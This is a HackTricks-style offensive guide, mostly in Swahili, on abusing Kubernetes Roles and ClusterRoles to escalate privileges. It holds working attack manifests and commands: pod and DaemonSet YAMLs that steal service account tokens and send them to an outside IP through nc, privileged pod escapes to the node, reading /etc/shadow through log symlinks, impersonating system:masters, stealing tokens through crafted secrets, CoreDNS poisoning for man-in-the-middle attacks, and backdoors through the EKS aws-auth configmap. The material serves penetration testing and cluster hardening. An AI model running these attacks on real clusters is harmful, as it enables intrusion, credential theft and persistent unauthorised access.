Abusing Roles/ClusterRoles in Kubernetes

Tip

Jifunze na ufanye mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na ufanye mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na ufanye mazoezi ya Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Saidia HackTricks

Hapa unaweza kupata baadhi ya usanidi wa Roles na ClusterRoles ambao unaweza kuwa hatari.
Kumbuka kwamba unaweza kupata rasilimali zote zinazoungwa mkono na kubectl api-resources

Privilege Escalation

Inarejelea sanaa ya kupata access to a different principal ndani ya cluster with different privileges (ndani ya kubernetes cluster au kwa external clouds) tofauti na zile ulizonazo sasa; katika Kubernetes kwa msingi kuna takriban 4 main techniques to escalate privileges:

  • Kuwa na uwezo wa impersonate user/groups/SAs wengine wenye privileges bora ndani ya kubernetes cluster au kwa external clouds
  • Kuwa na uwezo wa create/patch/exec pods ambako unaweza find or attach SAs wenye privileges bora ndani ya kubernetes cluster au kwa external clouds
  • Kuwa na uwezo wa read secrets kwani tokens za SAs zimehifadhiwa kama secrets
  • Kuwa na uwezo wa escape to the node kutoka container, ambapo unaweza kuiba secrets zote za containers zinazokimbia kwenye node, credentials za node, na permissions za node katika cloud inayoendesha (ikiwa ipo)
  • Mbinu ya tano inayostahili kutajwa ni uwezo wa run port-forward ndani ya pod, kwa kuwa unaweza kufikia resources za kuvutia ndani ya pod hiyo.

Access Any Resource or Verb (Wildcard)

The wildcard (*) gives permission over any resource with any verb. Inatumika na admins. Ndani ya ClusterRole hii inamaanisha kwamba attacker anaweza kutumia vibaya namespace yoyote katika cluster

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Pata Rasilimali Yoyote kwa kitenzi maalum

Katika RBAC, ruhusa fulani zinaweka hatari kubwa:

  1. create: Hutoa uwezo wa ku-create rasilimali yoyote ya cluster, ikiweka hatari ya privilege escalation.
  2. list: Inaruhusu kuorodhesha rasilimali zote, na inaweza kusababisha leaking ya data nyeti.
  3. get: Inaruhusu kufikia secrets kutoka kwa service accounts, ikileta tishio la usalama.
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod Create - Steal Token

Mshambuliaji mwenye ruhusa za kuunda pod anaweza kuhusisha Service Account yenye ruhusa za juu ndani ya pod na kuiba token ili kujionyesha kama Service Account. Hii inamuwezesha kupandisha kwa ufanisi kiwango cha ruhusa.

Mfano wa pod itakayochukua token ya Service Account bootstrap-signer na kuituma kwa mshambuliaji:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Pod Create & Escape

Zifuatazo zinaonyesha vibali vyote ambavyo container inaweza kuwa navyo:

  • Privileged access (kuondoa kinga na kuweka capabilities)
  • Disable namespaces hostIPC and hostPid ambazo zinaweza kusaidia kupandisha vibali
  • Disable hostNetwork namespace, ambayo hutoa ufikiaji wa kuiba vibali za cloud za nodes na ufikiaji bora wa mitandao
  • Mount hosts / inside the container
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Unda pod kwa:

kubectl --token $token create -f mount_root.yaml

Mstari mmoja kutoka this tweet na kwa nyongeza kadhaa:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Sasa baada ya kuweza kutoroka hadi node, angalia post-exploitation techniques katika:

Stealth

Huenda unataka kuwa stealthier, katika kurasa zifuatazo utaona kile unachoweza kufikia ikiwa utaunda pod ukiwa umewezesha tu baadhi ya ruhusa zilizotajwa katika template ya awali:

  • Privileged + hostPID
  • Privileged only
  • hostPath
  • hostPID
  • hostNetwork
  • hostIPC

Unaweza kupata mfano wa jinsi ya kuunda/kutumia vibaya miundo ya privileged pods iliyotajwa hapo awali katika https://github.com/BishopFox/badPods

Pod Create - Move to cloud

Ikiwa unaweza kuunda pod (na hiari service account) unaweza kuwa na uwezo wa kupata privileges katika cloud environment kwa kupewa cloud roles kwa pod au service account na kisha kuifikia.
Zaidi ya hayo, ikiwa unaweza kuunda pod with the host network namespace unaweza steal the IAM role ya node instance.

Kwa maelezo zaidi angalia:

Pod Escape Privileges

Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs

Inawezekana kutumia vibaya ruhusa hizi kuunda pod mpya na kuinua privileges kama katika mfano uliotangulia.

Yaml ifuatayo creates a daemonset and exfiltrates the token of the SA inside the pod:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

pods/exec ni rasilimali katika kubernetes inayotumika kwa kuendesha amri katika shell ndani ya pod. Hii inaruhusu kuendesha amri ndani ya containers au kupata shell ndani.

Kwa hivyo, inawezekana kuingia ndani ya pod na kuiba token ya SA, au kuingia kwenye privileged pod, kutoroka hadi node, na kuiba tokens zote za pods kwenye node na (kutumia vibaya) node:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

Note

Kwa chaguo-msingi amri inatekelezwa kwenye container ya kwanza ya pod. Pata container zote ndani ya pod kwa kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}' kisha taja container unayotaka kuitumia kwa kubectl exec -it <pod_name> -c <container_name> -- sh

If it’s a distroless container you could try using shell builtins to get info of the containers or uplading your own tools like a busybox using: kubectl cp </path/local/file> <podname>:</path/in/container>.

port-forward

This permission allows to forward one local port to one port in the specified pod. This is meant to be able to debug applications running inside a pod easily, but an attacker might abuse it to get access to interesting (like DBs) or vulnerable applications (tovuti?) inside a pod:

kubectl port-forward pod/mypod 5000:5000

Hosts Writable /var/log/ Escape

As indicated in this research, ikiwa unaweza kufikia au kuunda pod yenye hosts /var/log/ directory mounted juu yake, unaweza escape from the container.
Hii ni kwa msingi kwamba wakati Kube-API tries to get the logs za container (ikitumia kubectl logs <pod>), huomba faili 0.log ya pod kwa kutumia endpoint /logs/ ya huduma ya Kubelet.
Huduma ya Kubelet inaonyesha endpoint /logs/ ambayo kwa msingi inafanya exposing the /var/log filesystem of the container.

Kwa hiyo, mshambuliaji mwenye access to write in the /var/log/ folder ya container anaweza kutumia tabia hizi kwa njia 2:

  • Kubadilisha faili 0.log ya container yake (kwa kawaida iko katika /var/logs/pods/namespace_pod_uid/container/0.log) kuwa symlink pointing to /etc/shadow, kwa mfano. Kisha, utakuwa na uwezo wa exfiltrate hosts shadow file doing:
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • Ikiwa mshambuliaji anadhibiti principal yoyote mwenye idhini za kusoma nodes/log, anaweza kuunda tu symlink katika /host-mounted/var/log/sym kuelekea / na anapofikia https://<gateway>:10250/logs/sym/ atataja mfumo wa faili wa root wa mwenyeji (kubadilisha symlink kunaweza kutoa upatikanaji wa faili).
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Maabara na exploit ya kiotomatiki inaweza kupatikana katika https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Kupita ulinzi wa readOnly

Ikiwa una bahati na capability yenye vibali vya juu CAP_SYS_ADMIN inapatikana, unaweza tu remount folda kama rw:

mount -o rw,remount /hostlogs/

Kupitisha ulinzi wa hostPath readOnly

Kama ilivyoelezwa katika this research inawezekana kupitisha ulinzi:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Ambayo ililenga kuzuia kutoroka kama zile za awali kwa, badala ya kutumia hostPath mount, kutumia PersistentVolume na PersistentVolumeClaim kuchomeka folda ya hosts ndani ya container kwa ruhusa ya kuandikwa:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Kujifanya akaunti zenye ruhusa

Kwa ruhusa ya user impersonation mshambuliaji anaweza kujifanya akaunti yenye ruhusa.

Tumia tu parameter --as=<username> katika amri ya kubectl kuiga mtumiaji, au --as-group=<group> kuiga kundi:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

Au tumia REST API:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Kuorodhesha Secrets

Ruhusa ya kuorodhesha secrets inaweza kumruhusu mshambuliaji kusoma secrets kwa kutumia REST API endpoint:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Kuunda na Kusoma Secrets

Kuna aina maalum ya Secret ya Kubernetes ya aina kubernetes.io/service-account-token ambayo huhifadhi token za serviceaccount. Iwapo una ruhusa za kuunda na kusoma secrets, na pia unajua jina la serviceaccount, unaweza kuunda secret kama ifuatavyo kisha kuiba token ya serviceaccount ya mwathiriwa kutoka ndani yake:

apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token

Mfano exploitation:

$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)

$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
secrets                                         []                                     []               [get create]
[/.well-known/openid-configuration/]   []               [get]
<SNIP>
[/version]                             []               [get]

$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"

$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"

$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created

$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}

Kumbuka kwamba ikiwa unaruhusiwa kuunda na kusoma secrets katika namespace fulani, serviceaccount ya mwathirika pia lazima iwe katika namespace hiyo hiyo.

Kusoma secret – brute-forcing token IDs

Wakati mshambuliaji mwenye token yenye ruhusa za kusoma anahitaji jina halisi la secret ili kuitumia, tofauti na ruhusa pana ya listing secrets, bado kuna udhaifu. Default service accounts katika system zinaweza kuorodheshwa, kila moja ikihusishwa na secret. Secrets hizi zina muundo wa jina: prefix ya static ikifuatiwa na token ya nasibu yenye tabia tano za alphanumeric (isipokuwa baadhi ya herufi) kulingana na source code.

Token hiyo inazalishwa kutoka seti ndogo ya characters 27 (bcdfghjklmnpqrstvwxz2456789), badala ya wigo kamili wa alphanumeric. Kizuizi hiki kinapunguza idadi ya mchanganyiko hadi 14,348,907 (27^5). Kwa hivyo, mshambuliaji anaweza kwa urahisi kutekeleza brute-force attack kugundua token ndani ya masaa, jambo ambalo linaweza kusababisha privilege escalation kwa kupata service accounts nyeti.

EncrpytionConfiguration katika maandishi wazi

Inawezekana kupata funguo za maandishi wazi za ku-encrypt data at rest katika aina hii ya object kama:

# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/

#
# CAUTION: this is an example configuration.
#          Do not use this for your own cluster!
#

apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==

Maombi ya Kusainiwa kwa Vyeti

Ikiwa una vitenzi create katika rasilimali certificatesigningrequests (au angalau katika certificatesigningrequests/nodeClient). Unaweza kuunda CeSR mpya ya node mpya.

Kulingana na documentation it’s possible to auto approve this requests, hivyo katika kesi hiyo huitaji ruhusa za ziada. Ikiwa sivyo, utahitaji kuwa na uwezo wa kuidhinisha ombi, ambayo inamaanisha kusasisha kwenye certificatesigningrequests/approval na approve katika signers kwa resourceName <signerNameDomain>/<signerNamePath> au <signerNameDomain>/*

Mfano wa role yenye ruhusa zote zinazohitajika ni:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Hivyo, kwa node CSR mpya iliyothibitishwa, unaweza abuse ruhusa maalum za nodes ili steal secrets na escalate privileges.

In this post and this one the GKE K8s TLS Bootstrap configuration imewekwa na automatic signing na inafanyiwa abuse kuzalisha credentials za K8s Node mpya na kisha kuzitumia ku-escalate privileges kwa kuiba secrets.
If you have the mentioned privileges yo could do the same thing. Kumbuka kuwa mfano wa kwanza bypasses the error unaouzuia node mpya kupata secrets ndani ya containers kwa sababu a node can only access the secrets of containers mounted on it.

Njia ya ku-bypass hili ni tu create a node credentials for the node name where the container with the interesting secrets is mounted (lakini angalia jinsi ya kufanya hivyo katika post ya kwanza):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

Watu ambao wanaweza kubadilisha configmaps katika namespace kube-system kwenye cluster za EKS (zinapaswa kuwa katika AWS) wanaweza kupata vibali vya admin wa cluster kwa kuandika upya configmap ya aws-auth.
Vitendo vinavyohitajika ni update na patch, au create ikiwa configmap haikuundwa:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Warning

Unaweza kutumia aws-auth kwa persistence ili kutoa ufikiaji kwa watumiaji kutoka other accounts.

Hata hivyo, aws --profile other_account eks update-kubeconfig --name <cluster-name> haiwezi kufanya kazi kutoka kwenye account tofauti. Lakini kwa kweli aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing inafanya kazi ikiwa utaweka ARN ya cluster badala ya jina pekee.
Ili kufanya kubectl ifanye kazi, hakikisha tu ume configure the victims kubeconfig na kwenye aws exec args ongeza --profile other_account_role ili kubectl itumie profile ya account nyingine kupata token na kuwasiliana na AWS.

CoreDNS config map

Ili ikiwa una ruhusa za kurekebisha coredns configmap katika namespace ya kube-system, unaweza kubadilisha anwani ambazo domains zitaamriwa (resolved) ili uweze kufanya MitM attacks za kupora taarifa nyeti au kuingiza maudhui haribifu.

Vitenzi vinavyohitajika ni update na patch juu ya coredns configmap (au config maps zote).

Faili ya kawaida ya coredns file ina kitu kama hiki:

data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}

Mshambuliaji anaweza kuipakua akiendesha kubectl get configmap coredns -n kube-system -o yaml, kuibadilisha kwa kuongeza kitu kama rewrite name victim.com attacker.com hivyo kila mara victim.com inapofikiwa kwa kweli attacker.com ndiyo kikoa kitakachofikiwa. Kisha aiweke kwa kuendesha kubectl apply -f poison_dns.yaml.

Chaguo jingine ni kuhariri faili moja kwa moja kwa kuendesha kubectl edit configmap coredns -n kube-system na kufanya mabadiliko.

Kupandisha ngazi katika GKE

Kuna 2 ways to assign K8s permissions to GCP principals. Kwa hali yoyote mhusika pia anahitaji ruhusa container.clusters.get ili aweze kukusanya credentials za kupata cluster, au utahitaji generate your own kubectl config file (fuata link ifuatayo).

Warning

When talking to the K8s api endpoint, the GCP auth token will be sent. Then, GCP, through the K8s api endpoint, will first check if the principal (by email) has any access inside the cluster, then it will check if it has any access via GCP IAM.
If any of those are true, he will be responded. If not an error suggesting to give permissions via GCP IAM will be given.

Kwa hivyo, njia ya kwanza ni kutumia GCP IAM, ruhusa za K8s zina equivalent GCP IAM permissions, na ikiwa mhusika ana hizo, ataweza kuzitumia.

GCP - Container Privesc

Njia ya pili ni assigning K8s permissions inside the cluster kwa kumtambua mtumiaji kwa email yake (GCP service accounts included).

Kuunda token za serviceaccounts

Wahusika wanaoweza create TokenRequests (serviceaccounts/token) wanapozungumza na K8s api endpoint wanaweza kupata tokens za SAs (info kutoka hapa).

ephemeralcontainers

Wahusika wanaoweza update au patch pods/ephemeralcontainers wanaweza kupata code execution on other pods, na pengine break out hadi node yao kwa kuongeza ephemeral container yenye privileged securityContext.

ValidatingWebhookConfigurations au MutatingWebhookConfigurations

Wahusika wenye mojawapo ya vitenzi create, update au patch juu ya validatingwebhookconfigurations au mutatingwebhookconfigurations wanaweza kuwa na uwezo wa kuunda moja ya webhookconfigurations hizo ili kuwa na uwezo wa kupandisha ruhusa.

Kwa mfano wa mutatingwebhookconfigurations example check this section of this post.

Kupandisha

Kama unavyoweza kusoma katika sehemu inayofuata: Built-in Privileged Escalation Prevention, mhusika hawezi update wala create roles au clusterroles bila kuwa na hizo ruhusa mpya mwenyewe. Isipokuwa kama ana verb escalate or * juu ya roles au clusterroles na chaguzi zinazofaa za binding.
Kisha anaweza update/create roles mpya, clusterroles zenye ruhusa bora kuliko anazomiliki.

Nodes proxy

Wahusika walio na ufikiaji wa subresource nodes/proxy wanaweza execute code on pods kupitia Kubelet API (kulingana na hili). Maelezo zaidi kuhusu Kubelet authentication kwenye ukurasa huu:

Kubelet Authentication & Authorization

nodes/proxy GET -> Kubelet /exec via WebSocket mkanganyiko wa vitenzi

  • Kubelet maps HTTP methods to RBAC verbs before protocol upgrade. WebSocket handshakes must start with HTTP GET (Connection: Upgrade), so /exec over WebSocket is checked as verb get instead of the expected create.
  • /exec, /run, /attach, and /portforward hazijaramishwa wazi na zinaanguka kwenye default proxy subresource, hivyo swali la authorization linakuwa can <user> get nodes/proxy?
  • Ikiwa token ina tu nodes/proxy + get, direct WebSocket access to the kubelet on https://<node_ip>:10250 inaruhusu arbitrary command execution katika pod yoyote kwenye node hiyo. Ombi sawa kupitia API server proxy path (/api/v1/nodes/<node>/proxy/exec/...) linakataa kwa sababu ni normal HTTP POST na linaanisha kwa create.
  • Kubelet hainafanya authorization ya pili baada ya WebSocket upgrade; GET ya awali pekee ndiyo inayotathminiwa.

Direct exploit (requires network reachability to the kubelet and a token with nodes/proxy GET):

kubectl auth can-i --list | grep "nodes/proxy"
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol "v4.channel.k8s.io" \
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
  • Tumia Node IP, si jina la node. Ombi sawa kwa kutumia curl -X POST litakuwa Forbidden kwa sababu linafanana na create.
  • Mwingiliano wa moja kwa moja na kubelet unazidi API server, hivyo AuditPolicy inaonyesha tu subjectaccessreviews kutoka kwa kubelet user agent na haiandiki kumbukumbu za pods/exec.
  • Orodhesha service accounts zilizoathirika kwa kutumia detection script ili kutafuta tokens zilizopunguzwa kwa nodes/proxy GET.

Futa pods + nodes zisizoweza kupangwa

Watu wenye uwezo ambao wanaweza delete pods (delete verb over pods resource), au evict pods (create verb over pods/eviction resource), au change pod status (access to pods/status) na wanaweza make other nodes unschedulable (access to nodes/status) au delete nodes (delete verb over nodes resource) na ambao wana udhibiti juu ya pod, wanaweza steal pods from other nodes ili ziendeshwe kwenye compromised node na mshambuliaji anaweza steal the tokens kutoka kwa hizo pods.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Hali ya Services (CVE-2020-8554)

Watu wenye mamlaka ambao wanaweza kubadilisha services/status wanaweza kuweka uwanja wa status.loadBalancer.ingress.ip ili kuchochea CVE-2020-8554 ambayo haijarekebishwa na kuanzisha MiTM attacks against the cluster. Mitigation nyingi za CVE-2020-8554 zinazuia tu ExternalIP services (kulingana na this).

Hali za Nodes na Pods

Watu wenye ruhusa za update au patch kwa nodes/status au pods/status wanaweza kubadilisha lebo ili kuathiri vikwazo vya upangaji vinavyotekelezwa.

Built-in Privileged Escalation Prevention

Kubernetes ina built-in mechanism kuzuia kuongezeka kwa vibali.

Mfumo huu unahakikisha kuwa watumiaji hawawezi kuinua vibali vyao kwa kubadilisha roles au role bindings. Utekelezaji wa sheria hii hufanyika kwenye ngazi ya API, ukitoa kinga hata pale RBAC authorizer akiwa hafanyakazi.

Sheria inasema kuwa mtumiaji anaweza tu kuunda au kusasisha role ikiwa ana ruhusa zote ambazo role hiyo inajumuisha. Zaidi ya hayo, wigo wa ruhusa zilizo kwa mtumiaji lazima ulingane na ule wa role wanayejaribu kuunda au kubadilisha: iwe kwa ngazi ya cluster kwa ClusterRoles au imefungwa ndani ya namespace hiyo hiyo (au ngazi ya cluster) kwa Roles.

Warning

Kuna ubaguzi kwa sheria ile iliyotangulia. Ikiwa mteja ana kitenzi escalate juu ya roles au clusterroles, anaweza kuongeza vibali vya roles na clusterroles hata bila kuwa na ruhusa hizo mwenyewe.

Get & Patch RoleBindings/ClusterRoleBindings

Caution

Inaonekana mbinu hii ilifanya kazi hapo awali, lakini kwa mtihani wangu haifanyi kazi tena kwa sababu ile ile iliyoelezewa katika sehemu ya awali. Huwezi kuunda/kubadilisha rolebinding ili kujipa wewe mwenyewe au SA tofauti baadhi ya vibali ikiwa huna tayari.

Ruhusa ya kuunda Rolebindings inaruhusu mtumiaji kuunganisha roles na service account. Ruhusa hii inaweza kusababisha kuongezeka kwa vibali kwa sababu inamruhusu mtumiaji kuunganisha vibali za admin kwa service account iliyovamiwa.

Mashambulizi Mengine

Sidecar proxy app

Kwa default hakuna encryption katika mawasiliano kati ya pods. Hakuna uthibitisho wa pande zote (mutual authentication), njia ya pande mbili, pod kwa pod.

Create a sidecar proxy app

Container ya sidecar inajumuisha tu kuongeza container ya pili (au zaidi) ndani ya pod.

Kwa mfano, yafuatayo ni sehemu ya muundo wa pod yenye containers 2:

spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]

Kwa mfano, ili ku-backdoor pod iliyopo kwa container mpya unaweza tu kuongeza container mpya katika specification. Kumbuka kwamba unaweza give more permissions kwa container ya pili ambayo ya kwanza haitakuwa nayo.

Maelezo zaidi: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Admission Controller ya ulaghai

Admission controller intercepts requests to the Kubernetes API server kabla ya kuhifadhiwa kwa object, lakini after the request is authenticated and authorized.

Ikiwa mshambuliaji kwa njia fulani atafanikiwa inject a Mutation Admission Controller, atakuwa na uwezo wa modify already authenticated requests. Hii inaweza kumruhusu privesc, na kwa kawaida kudumu ndani ya cluster.

Example from https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
